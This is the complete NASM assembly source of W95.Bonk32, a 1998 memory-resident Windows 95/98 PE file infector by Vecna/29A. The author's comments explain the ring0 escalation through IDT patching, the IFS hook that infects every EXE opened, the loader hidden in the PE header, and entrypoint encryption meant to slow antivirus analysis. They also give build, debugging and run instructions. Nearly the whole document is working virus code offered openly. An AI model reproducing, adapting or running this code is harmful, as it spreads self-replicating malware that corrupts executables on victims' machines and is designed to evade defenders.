;[W95.BONK32] Resident PE infector ;Copyright 1998 (c) Vecna ; ;This virus is the 2nd PE infector i wrote, and is a memory resident infector ;designed exclusively for win95/98. It shouldnt work neither in winNT or in ;w32s. It patches the IDT, that isnt protected in w95/98, modifies a vector ;to point code into the virus, and execute this interrupt. As the code is ;executed in ring0, the virus alloc memory and read from the host file the ;rest of the virus code. It then jump to this virus part, that hook IFS and ;restore the host. ; ;Always a EXE file is open, the virus handler take control, and infect it. ;The virus body is appended as a overlay to the end of host, without any ;physical link to host, and a small loader is stored into the free space of ;the PE header. ; ;If the host file dont have relocationz, the virus encript the original ;entrypoint and patch it with a jump to the virus loader. The key for the code ;encripted is not saved, but a CRC32 of it unencripted is stored. When the ;virus restore it, it must try all keyz, what can be time costly for AVerz. ; ;As the original entrypoint dont change, and the virus code isnt linked to ;host, beside the loader, this work as a anti-heuristic feature. ; ;Early versionz haved a bug, that cause a crash in everybody machine beside ;mine. This was because a non-fixed call to int 0x20. Some lines added and ;now it work fine. ; ;W95.Bonk32 is written using NASM sintax, that showed very efficient for my ;viral needz, as provide more control over the generated code . To compile ;you will need NASM, LINK from Microsoft and PEWRSEC from Jacky Qwerty/29A. ;You also will need any MAKE utility (Borland, Microsoft and LCC ones work). ;then debug it using SOFT-ICE till u get the point that the virus open host ;at this point, change esi to point to a unused area (ECX hold one), then ;then edit this memory (D ESI;EB) and type the dir you are and \bonk32 at the ;end. Then make the virus go(BC *;G). ; ;Or, better, run the pre-compiled file. It will execute and stay resident. ;All open files will be infected then. Remeber that the pre-compiled file ;must reside in root dir of C:, else it will crash. ; ;I must thank 2 people: the AV that discovered the bug, and Alchemy, that ;gimme the EIP of the fault and make possible to me fix it. [bits 32] [section .text] [global _main] %define true 1 %define false 0 %define debug false %define userda true %define buffer bname + 0x100 %define buffer2 buffer + 0x1000 %macro vxdcall 2 int 0x20 dw %2 dw %1 %endmacro hook: enter 0x20, 0x00 ;setup stack frame push ecx push ebx call .delta .delta: pop ebx sub ebx, .delta cmp dword [ebp+0x0C], byte 0x24 jne .noopen ;only hookz ifs_opne cmp byte [ebx+recurse], byte 0x00 jne .noopen ;no re-enter inc byte [ebx+recurse] pushad call dynacall ;fix dynamic int20 calls call uni2ansi call infect ;replicate popad dec byte [ebx+recurse] .noopen: mov ecx, 0x06 ;total=6 paramz mov ebx, 0x1C .nparam: mov eax, [ebp+ebx] ;copy paramz from old frame push eax ;to new frame sub ebx, 4 loop .nparam db 0xb8 oldhook dd 0 call [eax] ;call old hookz add esp, byte 0x18 pop ebx pop ecx leave ret db '[BONK32] by Vecna/29A', 0x00 dynacall: pushad cld mov ax, 0x20CD call .odynatable .dynatable: dw 0x67, 0x40 dw 0x32, 0x40 dw 0x0D, 0x40 ;function, vxd dw 0x41, 0x40 dw 0x32, 0x40 .odynatable: pop esi mov edi, esi add edi, fix1-.dynatable stosw ;make vxd calls to dynamic movsd ;int20 code add edi, IFS-fix1-6 stosw movsd add edi, byte fix3-IFS-6 stosw movsd add edi, fix4-fix3-6 ;make all fixes stosw movsd popad ret uni2ansi: pushad lea edi, [ebx+bname] mov eax, [ebp+0x10] cmp al, -1 jz .drive add al, '@' ;make number2letter stosb mov al, ':' stosb .drive: sub eax, eax push eax mov eax, 0x100 push eax mov eax, [ebp+0x1C] mov eax, [eax+0x0C] add eax, byte 0x04 push eax push edi fix4: vxdcall 0x40, 0x41 ;make unicode2ansi add esp, byte 0x10 add edi, eax sub eax, eax stosb popad ret infect: lea edi, [ebx+bname] mov ebp, edi mov ecx, 0x100 sub eax, eax cld repne scasb ;end of name or ecx, ecx jz near error cmp dword [edi-0x05], '.EXE' jne near error ;only infect exe files %if debug == true cmp dword [edi-0x09], 'BAIT' jne near error ;debug code %endif mov eax, 0xD500 sub ecx, ecx mov edx, ecx inc edx mov ebx, edx inc ebx mov esi, ebp call IFS ;open it jc near error call .delta .delta: pop ebp sub ebp, .delta ;ebp hold delta offset mov ebx, eax mov eax, 0xD600 sub edx, edx mov ecx, 0x1000 lea esi, [ebp+buffer] call IFS ;read pe headerz jc near errorclose mov ax, word [esi] add al, ah cmp al, 0xA7 jne near errorclose ;not exe mov edi, [esi+0x3C] mov [ebp+mz_size], edi cmp edi, 0xE00 ja near errorclose ;buffer overflow add edi, esi cmp dword [edi], 'PE' jne near errorclose ;not pe newexe mov eax, 'BONK' cmp [edi+88], eax mov [edi+88], eax jz near errorclose ;already infected cmp word [edi+4], 0x014C ;run in a 386? jnz near errorclose bt word [edi+22], 1 ;executable? jnc near errorclose bt word [edi+22], 0x0D ;dll? jc near errorclose mov eax, [edi+40] add eax, [edi+52] ;mementry==imagebase+entrypont mov [ebp+loader.entrypoint], eax movzx eax, word [edi+6] imul eax, eax, 40 movzx ecx, word [edi+20] ;sum size of all headerz add eax, ecx add eax, 24 mov ecx, eax add eax, edi add ecx, lsize cmp dword [edi+84], ecx ;total size of headerz jc near errorclose ;enought to loader? push eax push edi mov edi, eax mov ecx, lsize lea esi, [ebp+loader] rep movsb ;copy loader to pe header lea esi, [ebp+bname] .nextbyte: lodsb stosb test al, al jnz .nextbyte ;copy host name pop edi pop eax sub eax, edi cmp [edi+160], ecx jne near .relocs cmp [edi+164], ecx jne near .relocs ;shit, relocz present %if userda == true push ebx mov dword [ebp+jmpentry], eax ;signal rda used movzx ecx, word [edi+20] add ecx, edi add ecx, 24-0x28 .next: add ecx, 0x28 mov edx, [edi+40] sub edx, [ecx+12] ;is EIP pointing inside cmp edx, [ecx+8] ;this section? jnb .next or dword [ecx+36], 80000000h ;make section writeable add edx, [ecx+20] ;edx point physical entrypoint push edx push eax ;save virus entry mov eax, 0xD600 mov ecx, 0x100 lea esi, [ebp+buffer2] ;esi point entrycode call IFS ;read entry code push esi push edi push esi mov eax, 0x100 push eax push esi push eax call crc32 ;calc crc32 of 100h bytes mov [ebp+rdacrc32], eax pop ecx pop esi pop edi in al, 0x40 .rdaloop: xor byte [esi], al ;encript crc32ed code inc esi loop .rdaloop pop esi push edi lea edi, [ebp+hostcode] movsd movsb ;save entrycode pop edi xchg esi, edi ;edi point to entrycode sub edi, byte 5 mov al, 0xE9 ;esi point to pe header stosb pop edx sub edx, [esi+40] mov eax, edx sub eax, 5 add eax, dword [ebp+mz_size] stosd ;store displacement mov edi, esi pop edx mov eax, 0xD601 mov ecx, 0x100 lea esi, [ebp+buffer2] pop ebx call IFS ;write pe headerz jmp .norelocs %endif .relocs: mov dword [ebp+jmpentry], ecx ;flag as normal file add eax, dword [ebp+mz_size] mov [edi+40], eax ;set new entrypoint .norelocs: mov eax, 0xD601 sub edx, edx mov ecx, dword [edi+84] lea esi, [ebp+buffer] call IFS ;write pe headerz mov eax, 0xD800 call IFS ;get filesize mov edx, 0xD601 xchg eax, edx mov ecx, vsize mov esi, ebp call IFS ;write overlay code errorclose: mov eax, 0xD700 call IFS ;close file error: ret rdacrc32 dd 0 jmpentry dd 0 hostcode dd 0 db 0 recurse db 0 mz_size dd 0 install: sub edx, edx sub esi, install ;esi point to start of vcode push esi mov dword [esi+recurse], edx mov eax, 0xD700 call IFS ;close file or ebp, ebp jns skip fix1: vxdcall 0x40, 0x67 ;hook ifs skip: pop ecx mov [esi+oldhook], eax .restore: %if userda == true cmp dword [esi+jmpentry], byte 0x0 jz .norda ;was rda used? push esi mov edi, [esi+loader.entrypoint] lea esi, [esi+hostcode] movsd movsb ;restore init code pop esi push dword 0x100 push dword [esi+rdacrc32] push dword [esi+loader.entrypoint] call rda ;rda decript host .norda: %endif ret %if userda == true crc32_pbfr equ +0x0C crc32_sz equ +0x08 crc32_ret@ equ +0x04 crc32_ebp@ equ +0x00 crc32: push ebp mov ebp, esp mov esi, [ebp+crc32_pbfr] mov edi, [ebp+crc32_sz] ;setup regz push byte -1 pop ecx ;init crc32 mov edx, ecx .aa: sub eax, eax mov ebx, eax lodsb ;get byte xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 .ab: shr bx, 1 rcr ax, 1 jnc .ac xor ax, 0x08320 ;logarithm xor bx, 0x0edb8 .ac: dec dh jnz .ab xor ecx, eax xor edx, ebx dec edi jnz .aa ;next byte not edx not ecx shl ecx, 16 ;cx:dx to ecx mov cx, dx mov eax, ecx pop ebp ret 8 %endif _main loader: pushad call .seh mov esp, [esp+8] jmp .removeseh .seh: sub edx, edx fs push dword [edx] fs mov dword [edx], esp ;seh frame set call .delta .delta: pop eax sub eax, .delta push eax sidt [esp-2] ;get idt to ebx pop ebx cli mov ebp, [ebx+0x4+(0x5*0x8)] mov bp, [ebx+(0x5*0x8)] lea ecx, [eax+ring0] ;new int5 handler mov [ebx+(0x5*0x8)], cx bswap ecx xchg cl, ch mov [ebx+0x6+(0x5*0x8)], cx push ds push es int 0x5 ;jump to ring0 pop es pop ds .removeseh: sti sub eax, eax fs pop dword [eax] ;remove seh frame pop eax popad db 0x68 ;return to host .entrypoint dd 0 pop ecx jecxz .ret push ecx .ret: ret IFS: vxdcall 0x40, 0x32 ;just one place to fix ret ring0: cld push ss pop ds mov edi, [eax+IFS] mov ax, 0x20CD ;these linez fix the previous stosw ;bug, found by AVz mov ax, 0x32 stosw mov ax, 0x40 stosw lea ecx, [eax+bname] lea esi, [eax+name] mov eax, 0xD500 ;openfile sub ecx, ecx mov edx, ecx mov ebx, ecx inc edx call IFS jnc .skip iret ;cant open host .skip: push eax push dword 8192 fix3: vxdcall 0x40, 0x0D ;vmm alloc pop ecx mov esi, eax pop ebx jc .error mov eax, 0xD800 ;get filesize call IFS mov ecx, vsize sub eax, ecx mov edx, 0xD600 ;read overlay xchg eax, edx call IFS add esi, install-hook call esi ;call it! .error: iret lsize equ ($-loader) name equ $ %if userda == true rda_sz equ +16 rda_crc equ +12 rda_pbfr equ +08 rda_ret@ equ +04 rda_ebp@ equ +00 rda_pass equ -04 rda_key equ -08 rda: enter 8, 0 ;2 dwords as local var sub eax, eax mov [ebp+rda_pass], eax mov [ebp+rda_key], eax ;setup rda .setup: mov esi, [ebp+rda_pbfr] mov ecx, [ebp+rda_sz] mov edx, [ebp+rda_key] ;setup loop .loop: xor [esi], dl inc esi dec ecx jnz .loop inc dword [ebp+rda_pass] ;increase pass counter cmp [ebp+rda_pass], byte 2 jne .check ;first pass sub eax, eax mov [ebp+rda_pass], eax inc dword [ebp+rda_key] ;new key jmp short .setup .check: push ebp push dword [ebp+rda_pbfr] push dword [ebp+rda_sz] call crc32 ;calc crc32 pop ebp cmp eax, [ebp+rda_crc] jne .setup ;crc32 dont match leave ret 12 %endif vsize equ ($-$$) bname: